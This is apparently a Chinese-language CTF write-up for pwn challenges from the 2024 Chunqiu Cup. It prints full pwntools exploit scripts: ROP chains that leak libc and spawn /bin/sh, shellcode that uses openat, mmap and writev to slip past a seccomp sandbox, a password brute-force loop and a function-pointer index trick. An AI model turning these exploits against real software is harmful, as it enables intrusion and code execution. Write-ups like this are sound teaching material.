-
-
2024春秋杯PWN WP
-
发表于: 2024-7-13 21:39 6911
-
main函数
vuln函数
init函数
一开始的思路是main函数栈溢出劫持至vuln函数,vuln函数栈溢出调用puts得到libc地址,但是setvbuf(stdout, 0LL, 0, 0LL);
无法得到回显
再者的思路是ret2csu,但是无法控制rcx第四个参数致使setvbuf报错,行不通
关键是init函数,setvbuf(stdout, 0LL, 0, 0LL)
标准输出全缓冲,即缓冲区被填满才会进行i/o操作
刷新缓冲区的方法
填满缓冲区后会刷新
exit退出会刷新缓冲区
调用fflush函数
流被关闭(调用fclose
)
在这道题中,我们采用第一种方式进行i/o操作,即重复多次调用extend函数填满缓冲区
使用带有\x00
的汇编指令绕过strlen,我使用的是mov esi,0
机器码为\xbe\x00\x00\x00\x00
(小端序)
沙箱禁用了许多系统调用,具体如下
寻常的orw无法使用,这里我采用的是openat,mmap,writev来读取flag
函数的第一个参数dfd
指的是当path
为相对路径时,该路径在文件系统中的开始地址(即打开目录获取的文件描述符),但可以指定其为AT_FDCWD
(-100),指定路径为当前路径。另外3个参数与open
参数相同。openat
的返回值与open
相同,都是当前正未使用的最小的文件描述符值。
对于Linux系统调用,6个参数的传递寄存器分别为rdi
、rsi
、rdx
、r10
、r8
、r9
。与Glibc的传参有所不同。
内核的mmap
函数的flag
参数和glibc的不太一样,0x10表示映射文件MAP_FILE
,0x2表示私有映射MAP_PRIVATE
,0x20表示匿名映射MAP_ANONYMOUS
。这里需要使用MAP_FILE | MAP_PRIVATE
才能完成映射
fd
: 文件描述符,表示要写入的文件、管道或网络套接字。
iov
: 指向 iovec
结构数组的指针,每个 iovec
结构包含一个缓冲区和其长度。
iovcnt
: iovec
结构的数量。
iovec结构体
思路是绕过strlen直接写shellcode
直接在栈上写writev第二个参数(结构体指针)的*iov_base和iov_len,主要是直接通过汇编操作就像下面的示例,会报错(不清楚原因)
脚本
随机数生成范围为a-z
buf数组和字符i内存区域相邻,当buf数组填满会将字符i打印出来,通过泄露的字符i爆破随机数
单字节爆破,最多爆破26*8=208次,下面是我写的爆破脚本
接下来就是格式化字符串泄露stack和libc,进challenge函数打栈溢出。
先看一眼沙箱,发现又把常见的orw禁用掉了,无法调用read写bss段,所以我选择打栈
先用mprotect函数给栈段开权限,注意的是mprotect的第一个参数需要内存页对齐(0x1000),然后接上shellcode,openat,mmap,write
打出flag
首先看一眼程序逻辑,发现是菜单
Read函数看一看,是向栈上地址写入0x400字节
重点来了,Choice函数中会进行 ((void (__fastcall *)(__int64))choice[v3])(a1)
指针操作,看一下choice里的内容
可以看到choice里存放着函数指针
这下Choice函数的功能就清楚了,通过 v3 = *(_QWORD *)(a1 + 8 * (v1 + 256) + 8);
获得下标的值,就可以调用choice里的函数
下标为12的是vuln函数,存在system函数,同时获取(*(_QWORD *)(a1 + 8 * (v1 + 256) + 8)
里的数据作为参数
分析完毕,这时我的思路是调用Read函数向栈上写入12,再调用Choice函数进到vuln函数,但是Choice函数对v3进行了检查,v3不能大于11,所以这条道路行不通
继续逆向,发现choice里存在类似Choice的函数,命名为re_choice
接下来就清楚了
1.调用Read向栈上写入下标
2.调用Choice函数进而re_choice
3.通过re_choice进入vuln
通过gdb调试,可以知道Choice函数中 v1 == 0, *(a1 + 0x2808) == 1, v3 == *(a1 + 0x808)
。接下来再re_choice中v3 == 2, v1 == 1, *(a1 + 0x2808) == 2
,所以只需发送p64(0xa) + p64(0xc)
即可进入vuln。vuln中v1 == 2, *(a1 + 0x2808) == 3, *(a1 + 8 * (v1 + 256) + 8) == *(a1 + 0x818)
,即system(0x2810 + 8 * (*(a1 + 0x818)) + a1)
所以只要使0x2810 + 8 * (*(a1 + 0x818)) == 0x820
即可在*(a1 + 0x820)处写sh并完成调用,可以计算出*(a1 + 0x818) == 0xfffffffffffffc02
时上溢为0x820
int
__fastcall main(
int
argc,
const
char
**argv,
const
char
**envp)
{
char
buf[80];
// [rsp+0h] [rbp-50h] BYREF
init(argc, argv, envp);
puts
(
"where is my stdout???"
);
read(0, buf, 0x60uLL);
return
0;
}
int
__fastcall main(
int
argc,
const
char
**argv,
const
char
**envp)
{
char
buf[80];
// [rsp+0h] [rbp-50h] BYREF
init(argc, argv, envp);
puts
(
"where is my stdout???"
);
read(0, buf, 0x60uLL);
return
0;
}
ssize_t vuln()
{
char
buf[32];
// [rsp+0h] [rbp-20h] BYREF
return
read(0, buf, 0x200uLL);
}
ssize_t vuln()
{
char
buf[32];
// [rsp+0h] [rbp-20h] BYREF
return
read(0, buf, 0x200uLL);
}
int
init()
{
setvbuf
(stdout, 0LL, 0, 0LL);
return
setvbuf
(stdin, 0LL, 2, 0LL);
}
int
init()
{
setvbuf
(stdout, 0LL, 0, 0LL);
return
setvbuf
(stdin, 0LL, 2, 0LL);
}
int
init()
{
;
return
setvbuf
(stdin, 0LL, 2, 0LL);
}
int
init()
{
;
return
setvbuf
(stdin, 0LL, 2, 0LL);
}
from
pwn
import
*
context(log_level
=
'debug'
,arch
=
'amd64'
)
p
=
process(
'./pwn'
)
libc
=
ELF(
'./libc-2.31.so'
)
ru
=
lambda
a: p.readuntil(a)
r
=
lambda
n: p.read(n)
sla
=
lambda
a,b: p.sendlineafter(a,b)
sa
=
lambda
a,b: p.sendafter(a,b)
sl
=
lambda
a: p.sendline(a)
s
=
lambda
a: p.send(a)
vuln
=
0x40125D
extend
=
0x401287
puts_plt
=
0x4010B0
read_got
=
0x404028
pop_rdi_ret
=
0x00000000004013d3
payload
=
b
'a'
*
0x58
+
p64(vuln)
s(payload)
#gdb.attach(p,'b *0x40127F')
#pause()
p2
=
b
'a'
*
0x28
+
p64(pop_rdi_ret)
+
p64(read_got)
+
p64(puts_plt)
+
p64(extend)
+
p64(vuln)
s(p2)
#gdb.attach(p,'b *0x40127F')
#pause()
#重复调用extend函数填满缓冲区
for
i
in
range
(
20
):
p3
=
b
'b'
*
0x28
+
p64(extend)
+
p64(vuln)
s(p3)
#p3 = b'a'*0x28 + p64(extend) + p64(vuln)
#s(p3)
p.recvuntil(b
'\n'
)
libcbase
=
u64(p.recv(
6
).ljust(
8
,b
'\x00'
))
-
0x10dfc0
log.success(
'libcbase ==> '
+
hex
(libcbase))
p.recv()
sys
=
libc.symbols[
'execve'
]
+
libcbase
sh
=
next
(libc.search(b
'/bin/sh'
))
+
libcbase
#gdb.attach(p,'b *0x40127F')
#pause()
ret
=
0x000000000040101a
pop_rsi_r15
=
0x00000000004013d1
pop_rdx_ret
=
0x0000000000142c92
+
libcbase
p4
=
b
'c'
*
0x28
+
p64(pop_rdi_ret)
+
p64(sh)
+
p64(pop_rsi_r15)
+
p64(
0
)
+
p64(
0
)
+
p64(pop_rdx_ret)
+
p64(
0
)
+
p64(sys)
s(p4)
p.interactive()
from
pwn
import
*
context(log_level
=
'debug'
,arch
=
'amd64'
)
p
=
process(
'./pwn'
)
libc
=
ELF(
'./libc-2.31.so'
)
ru
=
lambda
a: p.readuntil(a)
r
=
lambda
n: p.read(n)
sla
=
lambda
a,b: p.sendlineafter(a,b)
sa
=
lambda
a,b: p.sendafter(a,b)
sl
=
lambda
a: p.sendline(a)
s
=
lambda
a: p.send(a)
vuln
=
0x40125D
extend
=
0x401287
puts_plt
=
0x4010B0
read_got
=
0x404028
pop_rdi_ret
=
0x00000000004013d3
payload
=
b
'a'
*
0x58
+
p64(vuln)
s(payload)
#gdb.attach(p,'b *0x40127F')
#pause()
p2
=
b
'a'
*
0x28
+
p64(pop_rdi_ret)
+
p64(read_got)
+
p64(puts_plt)
+
p64(extend)
+
p64(vuln)
s(p2)
#gdb.attach(p,'b *0x40127F')
#pause()
#重复调用extend函数填满缓冲区
for
i
in
range
(
20
):
p3
=
b
'b'
*
0x28
+
p64(extend)
+
p64(vuln)
s(p3)
#p3 = b'a'*0x28 + p64(extend) + p64(vuln)
#s(p3)
p.recvuntil(b
'\n'
)
libcbase
=
u64(p.recv(
6
).ljust(
8
,b
'\x00'
))
-
0x10dfc0
log.success(
'libcbase ==> '
+
hex
(libcbase))
p.recv()
sys
=
libc.symbols[
'execve'
]
+
libcbase
sh
=
next
(libc.search(b
'/bin/sh'
))
+
libcbase
#gdb.attach(p,'b *0x40127F')
#pause()
ret
=
0x000000000040101a
pop_rsi_r15
=
0x00000000004013d1
pop_rdx_ret
=
0x0000000000142c92
+
libcbase
p4
=
b
'c'
*
0x28
+
p64(pop_rdi_ret)
+
p64(sh)
+
p64(pop_rsi_r15)
+
p64(
0
)
+
p64(
0
)
+
p64(pop_rdx_ret)
+
p64(
0
)
+
p64(sys)
s(p4)
p.interactive()
line CODE JT JF K
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
0000
:
0x20
0x00
0x00
0x00000004
A
=
arch
0001
:
0x15
0x00
0x0d
0xc000003e
if
(A !
=
ARCH_X86_64) goto
0015
0002
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0003
:
0x35
0x00
0x01
0x40000000
if
(A <
0x40000000
) goto
0005
0004
:
0x15
0x00
0x0a
0xffffffff
if
(A !
=
0xffffffff
) goto
0015
0005
:
0x15
0x09
0x00
0x00000000
if
(A
=
=
read) goto
0015
0006
:
0x15
0x08
0x00
0x00000001
if
(A
=
=
write) goto
0015
0007
:
0x15
0x07
0x00
0x00000002
if
(A
=
=
open
) goto
0015
0008
:
0x15
0x06
0x00
0x00000011
if
(A
=
=
pread64) goto
0015
0009
:
0x15
0x05
0x00
0x00000013
if
(A
=
=
readv) goto
0015
0010
:
0x15
0x04
0x00
0x00000028
if
(A
=
=
sendfile) goto
0015
0011
:
0x15
0x03
0x00
0x0000003b
if
(A
=
=
execve) goto
0015
0012
:
0x15
0x02
0x00
0x00000127
if
(A
=
=
preadv) goto
0015
0013
:
0x15
0x01
0x00
0x00000142
if
(A
=
=
execveat) goto
0015
0014
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0015
:
0x06
0x00
0x00
0x00000000
return
KILL
line CODE JT JF K
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
0000
:
0x20
0x00
0x00
0x00000004
A
=
arch
0001
:
0x15
0x00
0x0d
0xc000003e
if
(A !
=
ARCH_X86_64) goto
0015
0002
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0003
:
0x35
0x00
0x01
0x40000000
if
(A <
0x40000000
) goto
0005
0004
:
0x15
0x00
0x0a
0xffffffff
if
(A !
=
0xffffffff
) goto
0015
0005
:
0x15
0x09
0x00
0x00000000
if
(A
=
=
read) goto
0015
0006
:
0x15
0x08
0x00
0x00000001
if
(A
=
=
write) goto
0015
0007
:
0x15
0x07
0x00
0x00000002
if
(A
=
=
open
) goto
0015
0008
:
0x15
0x06
0x00
0x00000011
if
(A
=
=
pread64) goto
0015
0009
:
0x15
0x05
0x00
0x00000013
if
(A
=
=
readv) goto
0015
0010
:
0x15
0x04
0x00
0x00000028
if
(A
=
=
sendfile) goto
0015
0011
:
0x15
0x03
0x00
0x0000003b
if
(A
=
=
execve) goto
0015
0012
:
0x15
0x02
0x00
0x00000127
if
(A
=
=
preadv) goto
0015
0013
:
0x15
0x01
0x00
0x00000142
if
(A
=
=
execveat) goto
0015
0014
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0015
:
0x06
0x00
0x00
0x00000000
return
KILL
ssize_t openat(
int
dfd,
const
char
* filename,
int
flags, umode_t mode);
ssize_t openat(
int
dfd,
const
char
* filename,
int
flags, umode_t mode);
long
sys_mmap(unsigned
long
addr, unsigned
long
len,
unsigned
long
prot, unsigned
long
flags,
unsigned
long
fd, off_t pgoff);
long
sys_mmap(unsigned
long
addr, unsigned
long
len,
unsigned
long
prot, unsigned
long
flags,
unsigned
long
fd, off_t pgoff);
ssize_t writev(
int
fd,
const
struct
iovec *iov,
int
iovcnt);
ssize_t writev(
int
fd,
const
struct
iovec *iov,
int
iovcnt);
struct
iovec {
void
*iov_base;
// 指向数据缓冲区的指针
size_t
iov_len;
// 缓冲区的长度
};
struct
iovec {
void
*iov_base;
// 指向数据缓冲区的指针
size_t
iov_len;
// 缓冲区的长度
};
push
0x100
lea rbx, [rsp
+
8
]
push rbx
mov rsi, rsp
push
0x100
lea rbx, [rsp
+
8
]
push rbx
mov rsi, rsp
from
pwn
import
*
context(log_level
=
'debug'
,arch
=
'amd64'
)
p
=
process(
'./pwn'
)
ru
=
lambda
a: p.readuntil(a)
r
=
lambda
n: p.read(n)
sla
=
lambda
a,b: p.sendlineafter(a,b)
sa
=
lambda
a,b: p.sendafter(a,b)
sl
=
lambda
a: p.sendline(a)
s
=
lambda
a: p.send(a)
mov_esi_0
=
b
'\xbe\x00\x00\x00\x00'
p.recv()
shell
=
'''
mov rsp,0x1338000
mov rax, 0x67616c66
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
xor edx, edx
xor r10, r10
push SYS_openat
pop rax
syscall
mov rdi, 0x10000
mov rsi, 0x1000
mov rdx, 7
push 0x12
pop r10
push 0x3
pop r8
xor r9, r9
push SYS_mmap
pop rax
syscall
push 1
pop rdi
push 0x1 /* iov size */
pop rdx
mov rsi, 0x1337070
push SYS_writev
pop rax
syscall
'''
#gdb.attach(p)
#pause()
payload
=
mov_esi_0
+
asm(shell)
payload
=
payload.ljust(
0x70
,b
'\x90'
)
#栈上写参数
payload
+
=
p64(
0x10000
)
+
p64(
0x100
)
s(payload)
p.interactive()
from
pwn
import
*
context(log_level
=
'debug'
,arch
=
'amd64'
)
p
=
process(
'./pwn'
)
ru
=
lambda
a: p.readuntil(a)
r
=
lambda
n: p.read(n)
sla
=
lambda
a,b: p.sendlineafter(a,b)
sa
=
lambda
a,b: p.sendafter(a,b)
sl
=
lambda
a: p.sendline(a)
s
=
lambda
a: p.send(a)
mov_esi_0
=
b
'\xbe\x00\x00\x00\x00'
p.recv()
shell
=
'''
mov rsp,0x1338000
mov rax, 0x67616c66
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
xor edx, edx
xor r10, r10
push SYS_openat
pop rax
syscall
mov rdi, 0x10000
mov rsi, 0x1000
mov rdx, 7
push 0x12
pop r10
push 0x3
pop r8
xor r9, r9
push SYS_mmap
pop rax
syscall
push 1
pop rdi
push 0x1 /* iov size */
pop rdx
mov rsi, 0x1337070
push SYS_writev
pop rax
syscall
'''
#gdb.attach(p)
#pause()
payload
=
mov_esi_0
+
asm(shell)
payload
=
payload.ljust(
0x70
,b
'\x90'
)
#栈上写参数
payload
+
=
p64(
0x10000
)
+
p64(
0x100
)
s(payload)
p.interactive()
for
( i = 0; i <= 7; ++i )
love[i] =
rand
() % 26 + 97;
for
( i = 0; i <= 7; ++i )
love[i] =
rand
() % 26 + 97;
key
=
[
'a'
,
'a'
,
'a'
,
'a'
,
'a'
,
'a'
,
'a'
,
'a'
,
'a'
,
'a'
]
data
=
''
num
=
0
while
True
:
sla(b
'> \n'
, b
'1'
)
sa(b
'please input your password: \n'
, ''.join(key))
p.recv(
26
)
data
=
ord
(p.recv(
1
))
log.success(data)
if
(data
=
=
num
+
1
):
num
+
=
1
elif
(data
=
=
112
):
key_list
=
''.join(key)
log.success(key_list)
break
else
:
key[num]
=
chr
(
ord
(key[num])
+
1
)
key
=
[
'a'
,
'a'
,
'a'
,
'a'
,
'a'
,
'a'
,
'a'
,
'a'
,
'a'
,
'a'
]
data
=
''
num
=
0
while
True
:
sla(b
'> \n'
, b
'1'
)
sa(b
'please input your password: \n'
, ''.join(key))
p.recv(
26
)
data
=
ord
(p.recv(
1
))
log.success(data)
if
(data
=
=
num
+
1
):
num
+
=
1
elif
(data
=
=
112
):
key_list
=
''.join(key)
log.success(key_list)
break
else
:
key[num]
=
chr
(
ord
(key[num])
+
1
)
line CODE JT JF K
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
0000
:
0x20
0x00
0x00
0x00000004
A
=
arch
0001
:
0x15
0x00
0x0b
0xc000003e
if
(A !
=
ARCH_X86_64) goto
0013
0002
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0003
:
0x35
0x00
0x01
0x40000000
if
(A <
0x40000000
) goto
0005
0004
:
0x15
0x00
0x08
0xffffffff
if
(A !
=
0xffffffff
) goto
0013
0005
:
0x15
0x07
0x00
0x00000000
if
(A
=
=
read) goto
0013
0006
:
0x15
0x06
0x00
0x00000002
if
(A
=
=
open
) goto
0013
0007
:
0x15
0x05
0x00
0x00000013
if
(A
=
=
readv) goto
0013
0008
:
0x15
0x04
0x00
0x00000028
if
(A
=
=
sendfile) goto
0013
0009
:
0x15
0x03
0x00
0x0000003b
if
(A
=
=
execve) goto
0013
0010
:
0x15
0x02
0x00
0x00000127
if
(A
=
=
preadv) goto
0013
0011
:
0x15
0x01
0x00
0x00000142
if
(A
=
=
execveat) goto
0013
0012
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0013
:
0x06
0x00
0x00
0x00000000
return
KILL
line CODE JT JF K
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!